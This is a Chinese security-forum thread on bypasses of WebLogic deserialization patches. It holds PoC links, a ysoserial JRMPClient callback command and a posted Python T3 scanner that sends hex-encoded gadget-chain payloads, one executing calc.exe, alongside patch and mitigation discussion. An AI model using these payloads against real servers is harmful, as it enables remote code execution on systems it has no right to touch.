您的位置:首页 > 其它

关于Weblogic CVE-2016-3510、CVE-2016-0638 相关问题讨论

2017-08-08 17:42 495 查看
关于Weblogic CVE-2016-3510、CVE-2016-0638 相关问题讨论]

今天在跟朋友讨论Weblogic反序列化的问题时,他说客户打了补丁,但是还是测试出了问题,所以我就仔细搜了下,bypass相关东西。

对于Weblogic的反序列化可能对CVE-2015-4852 这个比较熟悉,但是在后面又出了两次绕过,分别是CVE-2016-3510和CVE-2016-0638这两个漏洞。

官网对这两个cve的描述如下:




目前国内由于大部分weblogic都是用的盗版的,所以打补丁比较困难,所以可能存在只打了最早的那个补丁,那么对于后面这两个补丁,大部分人可能忽视了,所以这两个绕过应该还是有一些威力,具体的我还没测试,大家一起来测试吧。

给出两个漏洞的参考链接https://www.tenable.com/security/research/tra-2016-21https://www.tenable.com/security/research/tra-2016-09

估计国内有一部分人应该有利用程序了。

** 大家一起来看看,希望有人能写出相关的分析。**

80 回复




iswin

1楼•2 个月前 作者
1

顺带贴个老外的POC https://github.com/pwntester/SerialKillerBypassGadgetCollection



n1nty

2楼•2 个月前
1

又是 pwntester 这个人啊,好牛逼啊。




0c0c0f

3楼•2 个月前

再补充两个WebLogic漏洞Oracle WebLogic Java Object RMI Connect-Back Deserialize RCEhttp://www.tenable.com/plugins/index.php?view=single&id=96610CVE-2016-3551 Oracle Fusion Middlewarehttps://www.vandermeer.frl/vulnerabilities/CVE-2016-3551




lpwd

4楼•2 个月前

这几个bypass黑名单的payload好像都是利用二次反序列化进行利用的。第一次反序列化有黑名单限制,由受限的ObjectInputStream.readObject()触发另一个ObjectInputStream.readObject(),而后面这个new出来的ObjectInputStream是不受黑名单限制的,攻击代码也是在这第二次反序列化过程得以执行。https://www.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016




0c0c0f

5楼•2 个月前

了解的修复方案:1、升级weblogic、删除不需要的页面,清理不安全的第三方库。https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads2、应用层:序列化数据采用对称加密进行传输,接口调用增加身份认证。网络层:序列化接口做严格的网络访问控制3、升级JDK,使用序列化的过滤接口JEP
290: Filter Incoming Serialization Datahttp://openjdk.java.net/jeps/2904、contrast-rO0运行时防护https://github.com/drosenbauer/contrast-rO0




xxlegend

6楼•2 个月前
1

看这修复感觉还有很多绕过姿势呢




0c0c0f

7楼•2 个月前

@xxlegend 什么姿势?




n1nty

8楼•2 个月前

@lpwd是有用到 SignedObject 吗?




xxlegend

9楼•2 个月前

@0c0c0f 看他上面https://www.tenable.com/security/research/tra-2016-09只贴了6个黑名单,这块的漏洞还没研究过,也不敢瞎说




xxlegend

10楼•2 个月前

@n1nty 这个修复详情好像没涉及到




iswin

11楼•2 个月前 作者

哪位师傅那里有weblogic这块的补丁包,发到社区来,我们看看就知道的,另外
@n1nty 你说的那个SignedObject应该不行的,我理解那个黑名单过滤的时候回去resolveClass而不是说只是简单的判断对象是不是黑名单里面的,你看tenable的描述如下


Weblogic的反序列化的点有着三个

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class




shack2

12楼•2 个月前
1

用了老外的POC https://github.com/pwntester/SerialKillerBypassGadgetCollection测试Weblogic成功,10.3.6.0,9.2.3.0版本成功,其他版本未测。




nikezheng

13楼•2 个月前

@iswin BUG22248372_1036补丁就是在resolveClass的判断了下黑名单而已




iswin

14楼•2 个月前 作者

@nikezheng 我的意思是它不是简单判断被反序列化对象的类。




lpwd

15楼•2 个月前

对,过滤的不只是类,类里边的成员变量都受黑名单拦截。




iswin

16楼•2 个月前 作者

找到了个应该是4852的补丁,https://pan.baidu.com/s/1hrGJNNI




iswin

17楼•2 个月前 作者
1

@all 确定了,打了CVE-2015-4852这个补丁的Weblogic,可以被绕过,所以国内一批站估计要遭殃了,刚测试了下打了4852这个补丁,可以被绕过,如下图老版本的工具


被绕过的Payload


赶快通知客户吧!




lpwd

18楼•2 个月前
1

oracle补丁查找: https://updates.oracle.com/Orion/AdvancedSearch/switch_to_simple不过下载补丁需要oracle support 账户。找到补丁包然后记下它的SHA1值,可以在QQ旋风里边下载试试,有些使用QQ旋风云端下载补丁的会被缓存在云端服务器。




iswin

19楼•2 个月前 作者

来吧,一起来找找补丁吧,https://www.mandsconsulting.com/weblogic-security-critical-vulnerability-impacts-all-recent-versions/





shell

20楼•2 个月前

还需要哪个补丁 我来下载




lpwd

21楼•2 个月前




weblogic 10.3.6.0.160719 这两个payload不能用了,不过JRMPClient还可以使用。




iswin

22楼•2 个月前 作者

@lpwd 这个是打了4852补丁的么?




iswin

23楼•2 个月前 作者

@shell 帮忙下载最新的那几个就行,3510这个




0c0c0f

24楼•2 个月前

@iswin我看这个bypass就是用MarshalledObject封装了一下 MarshalledObject obj = new MarshalledObject(payload);同样的,用SignedObject处理下不行吗?




lpwd

25楼•2 个月前
1

触发点不同:MarshalledObject.readResolve() -->触发第二次反序列化SignedObject.getObject() —>触发第二次反序列化@0c0c0fSignedObject调用getObject需要借助其他第三方库:比如:https://github.com/pwntester/SerialKillerBypassGadgetCollection/blob/master/src/main/java/serialkiller/bypass/Beanutils1.java需要commons-beanutilsjenkins:https://github.com/jenkinsci/jenkins/blob/f237601afd750a0eaaf961e8120b08de238f2c3f/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java需要net.sf.json.JSONArray




iswin

26楼•2 个月前 作者

@0c0c0f 恩 是
@lpwd 师傅说的这个意思。




0c0c0f

27楼•2 个月前

@lpwd MarshalledObject.readObject() -->触发第二次反序列化这个是不是可以打jenkins啊




0c0c0f

28楼•2 个月前

@iswin这个class两个package里都有import weblogic.corba.utils.MarshalledObject;import java.rmi.MarshalledObject;




iswin

29楼•2 个月前 作者

@0c0c0f jenkins这个还得看看,他的过滤貌似和这个不一样,研究下看看。




0c0c0f

30楼•2 个月前

@iswinjenkins2.46.1测了下,在黑名单了





shell

31楼•2 个月前
1

链接: https://pan.baidu.com/s/1pLPV7Mr 密码: w8mm




iswin

32楼•2 个月前 作者

@shell 感谢师傅。多问一句CVE-2017-3248 这个补丁能下载么?




lpwd

33楼•2 个月前
1

@iswin 他这个是10.3.6.0.160719 12.2.1.0.160719 的补丁,不是最新的,CVE-2017-3248还没有修复。最新补丁包:weblogic 10.3.6.0.170418p25388747_1036_Generic.zip:
链接: http://pan.baidu.com/s/1b0x2cI 密码:
5mcj


ServerChannelInputStream 新增了个resolveProxyClass过滤:

protected Class<?> resolveProxyClass(String[] interfaces)
throws IOException, ClassNotFoundException
{
for (String intf : interfaces) {
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);

}





iswin

34楼•1 个月前 作者

@lpwd 恩,我也看了,的确是3248这个应该才是最新的,多谢师傅。




shell

35楼•1 个月前
2

最新补丁已更新到 链接: https://pan.baidu.com/s/1pLPV7Mr 密码: w8mm




iswin

36楼•1 个月前 作者

@shell 感谢师傅。




iswin

37楼•1 个月前 作者

各位师傅看看能不能弄个无害化的检测脚本出来,一起讨论下。




lpwd

38楼•1 个月前
1

java -jar yso.jar JRMPClient  test.ceye.io:1234

然后看dns记录。




iswin

39楼•1 个月前 作者

@lpwd 无害化工具已经搞定了,参考了下nessus的检测方法,无需外联,需要的话at




xiaoming

40楼•1 个月前

@iswin 能不能帮忙分享下无害检测方法,多谢。




lpwd

41楼•1 个月前

@iswin 来个。




lonelyvaf

42楼•1 个月前

@iswin 能否也分享一下~~




m4ng0y

43楼•1 个月前

@iswin 师傅能否分享下怎么无害化检测




cf_hb

44楼•1 个月前

@iswin 大师傅来一个学习一下,改造一个python的检测工具。




0c0c0f

45楼•1 个月前

@iswin 来个。




0c0c0f

46楼•1 个月前

@lpwdJRMPClient这个会不会持续外链?




dell

47楼•1 个月前

@iswin 来个学习下




threathunter666

48楼•1 个月前

@iswin 求分享,上面说的无害检测工具。




gsrc

49楼•1 个月前

@来个工具学习下




sharecast

50楼•1 个月前

@iswin 求分享




t00lthles

51楼•1 个月前

@shack2@iswin 师傅们,老外的那个POC可以编译成功?我这边下载的依赖包整天下不全,是不是我姿势不对,求带https://github.com/pwntester/SerialKillerBypassGadgetCollection




komas

52楼•1 个月前

@iswin 大师傅来一个学习一下




freedom

53楼•1 个月前

@iswin 大佬分享一个测试下




gsrc

54楼•1 个月前

@t00lthles 人家都说了得下载依赖库。




iswin

55楼•1 个月前 作者
4

现在把脚本发出来吧,前几天之所以不发出也是为了避免被某些XX装逼的可能,同时也希望大家能多为社区做点贡献,不要做伸手党,这样才会有更多的人参与进来,后期还有很多好东西,会对社区活跃用户进行开放,希望大家多多参与。

注:脚本参考了nessus的扫描机制,在使用时请注明版权,用可以,但是不要改版权。

# -*- coding: utf-8 -*-
import socket
import time
import re

#
#  @author iswin@threathunter.org
#  reffer: nessus
#

VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print 'handshake successful'

def buildT3RequestObject(sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res

def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
else:
print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])

def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(15)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,dport)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)

if __name__=="__main__":
dip = '192.168.195.210'
dport = 7008
for i in range(0,len(VUL)):
run(dip,dport,i)





n1nty

56楼•1 个月前
1

@iswin我改了一下sendEvilObjData 函数:

def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res

sock.recv(4096) 只接收一次有可能造成响应接收不全,导致漏判。




iswin

57楼•1 个月前 作者

@n1nty 好的,多谢代总。




sunshinegj_xu

58楼•1 个月前

@iswin 您好,麻烦问一下poc测试后显示3个cve均成功,是需要分别打对应补丁还是打最新的那个就可以解决?




iswin

59楼•1 个月前 作者

@sunshinegj_xu 打最新的一个补丁就行了。




sunshinegj_xu

60楼•1 个月前

@iswin 谢谢!




zjx

61楼•1 个月前

timeout代表不存在漏洞吗




iswin

62楼•1 个月前 作者

@all 修复一个bug,发包的时候忘记添加了指定端口的功能,所以导致如果是非7001端口,可能测试不成功。payload见上方。




naizui

63楼•1 个月前

@zjx 超时




naizui

64楼•1 个月前

@iswin 脚本只能测试为默认7001端口的吗,测试7002这些都是 time out




iswin

65楼•1 个月前 作者
1

@naizui 之前有个小bug,现在修复了




xxe

66楼•1 个月前

发个没bug,完整的把。




zjx

67楼•1 个月前

@iswin 的确是我之前用的端口不是7001所以一直超时。用现在的脚本可以了,赞!




uan

68楼•1 个月前

求一波包com.ibm.jaxws.thinclient_8.5.0.jarcom.ibm.ws.ejb.embeddableContainer_8.5.0.jarcom.oracle.weblogic.iiop-common.jarcom.ibm.mq.jmqi.jarcom.ibm.ws.ejb.thinclient_8.5.0.jarcom.ibm.msg.client.jms.jarcom.ibm.ws.runtime.coregroupbridge.jar




by_wm

69楼•1 个月前

师傅们还是厉害呀。。




zhouliu

70楼•1 个月前

听说JDK1.8能缓解,哪位师傅知道详情么?




zhouliu

71楼•1 个月前

@zhouliu 哦,0c0c0f师傅贴出来了3、升级JDK,使用序列化的过滤接口JEP 290: Filter Incoming Serialization Datahttp://openjdk.java.net/jeps/290




0c0c0f

72楼•1 个月前

@zhouliu 不知道weblogic对jdk版本有没有啥要求




je6k

73楼•1 个月前

谁有命令执行的POC




naizui

74楼•1 个月前

@iswin 修复bug的脚本麻饭再发下吧,




just2pentest

75楼•1 个月前

@iswin com.oracle.weblogic.iiop-common.jar这个包在哪有?我找了下weblogic里面,貌似没这个包额……可否给个下载,谢谢!




admins

76楼•1 个月前

@iswin 用你的第二版测了一个,buildT3RequestObject 函数中sock.recv 出错,加了try后,后续一直卡在sendEvilObjData 函数,是这里(while True:res += sock.recv(4096))的问题么。。。。而奇怪的是用你之前的第一版(你说有bug),可以测出有cve2017的洞




jxust-jerry

77楼•1 个月前

Git上那个PoC需要另外下载的Jar包不好找啊。。。。。




just2pentest

78楼•1 个月前

@jxust-jerry 是啊 确实不好找呢




apple

79楼•1 个月前


这个是不存在么?还是姿势不对




jmadmin

80楼•1 天前

@iswin 你好,你提供的脚本,这个有时候会不准,这里会超时报错
buildT3RequestObject print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
猜测是打了cve_2015_4852的补丁造成的吧,利用
https://zhuanlan.zhihu.com/p/27898091

这个里面的工具可以执行命令。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: